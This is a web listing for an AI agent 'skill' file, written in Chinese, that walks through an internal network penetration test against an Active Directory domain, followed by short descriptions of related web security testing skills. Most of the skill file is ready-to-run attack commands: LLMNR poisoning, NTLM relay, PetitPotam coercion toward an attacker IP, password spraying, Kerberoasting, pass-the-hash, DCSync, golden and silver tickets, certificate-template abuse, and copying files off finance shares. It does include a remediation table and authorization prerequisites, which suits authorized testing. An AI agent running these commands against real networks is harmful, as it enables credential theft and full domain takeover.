conducting-internal-network-penetration-test
执行内部网络渗透测试,模拟内部威胁或后渗透攻击者,以识别企业网络内的横向移动路径、权限提升向量和敏感数据暴露情况。
Best use case
conducting-internal-network-penetration-test is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
执行内部网络渗透测试,模拟内部威胁或后渗透攻击者,以识别企业网络内的横向移动路径、权限提升向量和敏感数据暴露情况。
Teams using conducting-internal-network-penetration-test should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/conducting-internal-network-penetration-test/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How conducting-internal-network-penetration-test Compares
| Feature / Agent | conducting-internal-network-penetration-test | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
执行内部网络渗透测试,模拟内部威胁或后渗透攻击者,以识别企业网络内的横向移动路径、权限提升向量和敏感数据暴露情况。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行内部网络渗透测试
## 概述
内部网络渗透测试模拟已获得内部网络访问权限的攻击者或恶意内部人员。测试人员以"假设已入侵"的立场进行操作——通常是标准域工作站或网络接口——并尝试横向移动、权限提升、凭据收割和数据窃取,以确定已入侵端点的爆炸半径。
## 前置条件
- 已签署包含内部网络范围的交战规则
- 网络访问:物理以太网接口或内部 VLAN 的 VPN 连接
- 标准域用户凭据(假设已入侵模型)或未认证访问
- 安装了 Kali Linux、Impacket、Responder、BloodHound 的测试笔记本
- 与 IT/SOC 协调监控和紧急联系方式
## 阶段一:网络发现和枚举
### 初始网络侦察
```bash
# 识别自身网络位置
ip addr show
ip route show
cat /etc/resolv.conf
# 本地子网的 ARP 扫描以查找存活主机
arp-scan --localnet --interface eth0
# Nmap 对内网范围的主机发现
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
# 提取存活主机
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
# 扫描存活主机的端口 — 前 1000 个端口
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
# 特定服务扫描
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
```
### 活动目录枚举
```bash
# 使用域凭据枚举域信息
# 使用 CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
# LDAP 枚举
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# 枚举组策略对象
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
# BloodHound 数据收集
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# 将 JSON 文件导入 BloodHound GUI 进行攻击路径分析
# Enum4linux-ng 进行传统枚举
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
```
### 网络服务枚举
```bash
# SMB 共享枚举
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
# SNMP 枚举
snmpwalk -v2c -c public 10.0.0.1
# DNS 区域传输尝试
dig axfr corp.local @10.0.0.5
# NFS 枚举
showmount -e 10.0.0.15
# MSSQL 枚举
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth
```
## 阶段二:凭据攻击
### 网络凭据捕获
```bash
# Responder — LLMNR/NBT-NS/mDNS 投毒
sudo responder -I eth0 -dwPv
# 从 Responder 日志捕获 NTLMv2 哈希
cat /usr/share/responder/logs/NTLMv2-*.txt
# mitm6 — IPv6 DNS 接管
sudo mitm6 -d corp.local
# ntlmrelayx — 中继捕获的凭据
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
# PetitPotam — 强制 NTLM 认证
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5
```
### 密码攻击
```bash
# 破解捕获的 NTLMv2 哈希
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# 密码喷洒(注意账户锁定策略)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
# Kerberoasting — 针对服务账户
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP Roasting — 针对无需预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```
## 阶段三:漏洞利用和横向移动
### 横向移动技术
```bash
# 使用 Impacket 进行哈希传递
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
# WMI 执行
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'
# Evil-WinRM 用于 PowerShell 远程处理
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
# SMBExec
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'
# RDP 访问
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
# SSH 代理隧道
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24
```
### 权限提升
```bash
# Windows 权限提升
# 通过令牌模拟检查本地管理员
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# 基于 PowerShell 的权限提升检查
# 运行 PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# 检查未加引号的服务路径
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# Linux 权限提升
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
```
### 域升级
```bash
# DCSync 攻击(需要复制权限)
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc
# 黄金票据攻击
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
# 白银票据攻击
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/db01.corp.local administrator
# ADCS 利用(Certifried、ESC1-ESC8)
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
-template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local
```
## 阶段四:数据访问和影响演示
```bash
# 访问敏感文件共享
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
# 数据库访问
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
# 提取访问证明(切勿泄露真实数据)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
# 记录访问链
# 初始访问 -> Responder -> NTLMv2 破解 -> 横向移动到 WS01
# -> 本地管理员 -> Mimikatz -> DA 凭据 -> DCSync -> 完全域入侵
```
## 阶段五:报告
### 攻击路径文档
```
攻击路径 1:通过 LLMNR 投毒实现域入侵
步骤 1:LLMNR/NBT-NS 投毒捕获 NTLMv2 哈希(T1557.001)
步骤 2:离线破解哈希 — 用户:jsmith,密码:Welcome2025!
步骤 3:jsmith 在 WS042 上有本地管理员权限 — 通过 PsExec 横向移动(T1021.002)
步骤 4:Mimikatz 从 WS042 内存中提取 DA 凭据(T1003.001)
步骤 5:使用 DA 凭据执行 DCSync — 提取所有域哈希(T1003.006)
影响:从未认证网络位置实现完整域入侵
```
### 发现严重性矩阵
| 发现 | CVSS | MITRE ATT&CK | 修复措施 |
|---------|------|---------------|-------------|
| LLMNR/NBT-NS 投毒 | 8.1 | T1557.001 | 通过 GPO 禁用 LLMNR/NBT-NS |
| Kerberoastable 服务账户 | 7.5 | T1558.003 | 使用 gMSA,25+ 字符密码 |
| 本地管理员复用 | 8.4 | T1078 | 部署 LAPS,使用唯一本地管理员密码 |
| 弱域密码 | 7.2 | T1110 | 强制 14+ 字符最小长度,黑名单常用密码 |
| 不受限的 DCSync | 9.8 | T1003.006 | 审计复制权限,实施分层管理员模型 |
## 工具参考
| 工具 | 用途 |
|------|---------|
| Responder | LLMNR/NBT-NS/mDNS 投毒 |
| Impacket | AD 攻击套件(secretsdump、psexec、wmiexec 等) |
| BloodHound | AD 攻击路径可视化 |
| NetExec(CrackMapExec) | 网络服务枚举和密码喷洒 |
| Evil-WinRM | PowerShell 远程处理客户端 |
| Certipy | AD 证书服务漏洞利用 |
| Mimikatz | Windows 凭据提取 |
| Hashcat | 密码哈希破解 |
| Nmap | 网络扫描和枚举 |
| LinPEAS/WinPEAS | 权限提升枚举 |
## 参考资料
- Cobalt 内部网络渗透测试方法论: https://docs.cobalt.io/methodologies/internal-network/
- MITRE ATT&CK 企业版: https://attack.mitre.org/matrices/enterprise/
- PTES: http://www.pentest-standard.org/
- Impacket: https://github.com/fortra/impacket
- BloodHound: https://github.com/BloodHoundAD/BloodHoundRelated Skills
testing-websocket-api-security
测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
testing-oauth2-implementation-flaws
测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
testing-mobile-api-authentication
测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。
testing-jwt-token-security
在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-sensitive-data-exposure
在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。